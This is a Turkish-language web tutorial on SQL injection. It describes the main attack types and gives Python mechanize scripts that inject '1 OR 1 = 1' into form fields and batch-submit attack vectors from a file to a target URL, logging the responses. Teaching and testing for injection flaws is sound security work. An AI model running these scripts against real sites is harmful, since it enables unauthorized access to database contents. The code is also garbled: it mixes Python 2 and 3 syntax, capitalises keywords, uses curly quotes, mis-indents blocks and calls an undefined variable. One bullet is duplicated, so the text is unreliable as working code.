Python Penetrasyon Testi - SQLi Web Saldırısı

SQL enjeksiyonu, web uygulamalarıyla bağlantılı veritabanlarından istediğimiz yanıtı almak için bir URL dizesine veya veri yapılarına yerleştirilen bir SQL komutları kümesidir. Bu tür saldırılar genellikle PHP veya ASP.NET kullanılarak geliştirilen web sayfalarında gerçekleşir.

Aşağıdaki amaçlarla bir SQL enjeksiyon saldırısı yapılabilir -

  • Veritabanlarının içeriğini değiştirmek için

  • Veritabanlarının içeriğini değiştirmek için

  • Uygulama tarafından izin verilmeyen farklı sorgular gerçekleştirmek için

Bu tür saldırı, uygulamalar girdileri bir SQL ifadesine iletmeden önce doğru şekilde doğrulamadığında çalışır. Enjeksiyonlar normalde adres çubuklarına, arama alanlarına veya veri alanlarına yerleştirilir.

Bir web uygulamasının bir SQL enjeksiyon saldırısına karşı savunmasız olup olmadığını tespit etmenin en kolay yolu, bir dizede "" "karakterini kullanmak ve herhangi bir hata alıp almadığınızı görmektir.

SQLi Saldırısı Türleri

Bu bölümde, farklı SQLi saldırı türleri hakkında bilgi edineceğiz. Saldırı aşağıdaki iki türe ayrılabilir:

  • Bant içi SQL enjeksiyonu (Basit SQLi)

  • Çıkarımsal SQL enjeksiyonu (Blind SQLi)

Bant içi SQL enjeksiyonu (Basit SQLi)

En yaygın SQL enjeksiyonudur. Bu tür bir SQL enjeksiyonu, bir saldırgan hem saldırıyı başlatmak hem de sonuçları toplamak için aynı iletişim kanalını kullanabildiğinde ortaya çıkar. Bant içi SQL enjeksiyonları ayrıca iki türe ayrılır -

  • Error-based SQL injection - Hata tabanlı bir SQL enjeksiyon tekniği, veritabanının yapısı hakkında bilgi edinmek için veritabanı sunucusu tarafından atılan hata mesajına dayanır.

  • Union-based SQL injection - İki veya daha fazla SELECT ifadesinin sonuçlarını tek bir sonuçta birleştirmek için UNION SQL operatörünü kullanan başka bir bant içi SQL enjeksiyon tekniğidir ve bu daha sonra HTTP yanıtının bir parçası olarak döndürülür.

Çıkarımsal SQL enjeksiyonu (Blind SQLi)

Bu tür SQL enjeksiyon saldırısında, saldırgan bant içi saldırının sonucunu göremez çünkü web uygulaması üzerinden veri aktarılmaz. Kör SQLi olarak da adlandırılmasının nedeni budur. Çıkarımsal SQL enjeksiyonları iki türden daha fazlasıdır -

  • Boolean-based blind SQLi - Bu tür bir teknik, veritabanına bir SQL sorgusu göndermeye dayanır, bu da sorgunun DOĞRU veya YANLIŞ sonucu döndürmesine bağlı olarak uygulamayı farklı bir sonuç döndürmeye zorlar.

  • Time-based blind SQLi- Bu tür bir teknik, veritabanına bir SQL sorgusu göndermeye dayanır, bu da veritabanını yanıt vermeden önce belirli bir süre (saniye cinsinden) beklemeye zorlar. Yanıt süresi, saldırgana sorgunun sonucunun DOĞRU mu yoksa YANLIŞ mı olduğunu gösterecektir.

Misal

Girdi verilerinin uygulamaya işlenmesiyle tüm SQLi türleri uygulanabilir. Aşağıdaki örneklerde, saldırı vektörlerini uygulamaya enjekte etmek için bir Python betiği yazıyoruz ve saldırı olasılığını doğrulamak için çıktıyı analiz ediyoruz. Burada, adlı python modülünü kullanacağız.mechanizeBu, bir web sayfasında web formları elde etme kolaylığı sağlar ve giriş değerlerinin sunulmasını da kolaylaştırır. Bu modülü istemci tarafı doğrulama için de kullandık.

Aşağıdaki Python betiği, formları göndermenize ve yanıtın analiz edilmesine mechanize -

Öncelikle ithal etmemiz gereken mechanize modül.

import mechanize

Şimdi, formu gönderdikten sonra yanıtı almak için URL'nin adını sağlayın.

url = input("Enter the full url")

Aşağıdaki kod satırı url'yi açacaktır.

request = mechanize.Browser()
request.open(url)

Şimdi formu seçmemiz gerekiyor.

request.select_form(nr = 0)

Burada 'id' sütun adını ayarlayacağız.

request["id"] = "1 OR 1 = 1"

Şimdi formu göndermemiz gerekiyor.

response = request.submit()
content = response.read()
print content

Yukarıdaki komut dosyası, POST isteğinin yanıtını yazdıracaktır. SQL sorgusunu kırmak ve tek satır yerine tablodaki tüm verileri yazdırmak için bir saldırı vektörü gönderdik. Tüm saldırı vektörleri, vektörler.txt gibi bir metin dosyasına kaydedilecektir. Şimdi, aşağıda verilen Python betiği bu saldırı vektörlerini dosyadan alacak ve bunları tek tek sunucuya gönderecektir. Ayrıca çıktıyı bir dosyaya kaydedecektir.

Başlangıç ​​olarak, mekanize modülünü içeri aktaralım.

import mechanize

Şimdi, formu gönderdikten sonra yanıtı almak için URL'nin adını sağlayın.

url = input("Enter the full url")
   attack_no = 1

Saldırı vektörlerini dosyadan okumamız gerekiyor.

With open (‘vectors.txt’) as v:

Şimdi her bir düzenleme vektörü ile istek göndereceğiz

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Şimdi, aşağıdaki kod satırı yanıtı çıktı dosyasına yazacaktır.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Yanıtları kontrol edip analiz ederek olası saldırıları belirleyebiliriz. Örneğin, cümleyi içeren bir yanıt veriyorsaYou have an error in your SQL syntax bu, formun SQL enjeksiyonundan etkilenebileceği anlamına gelir.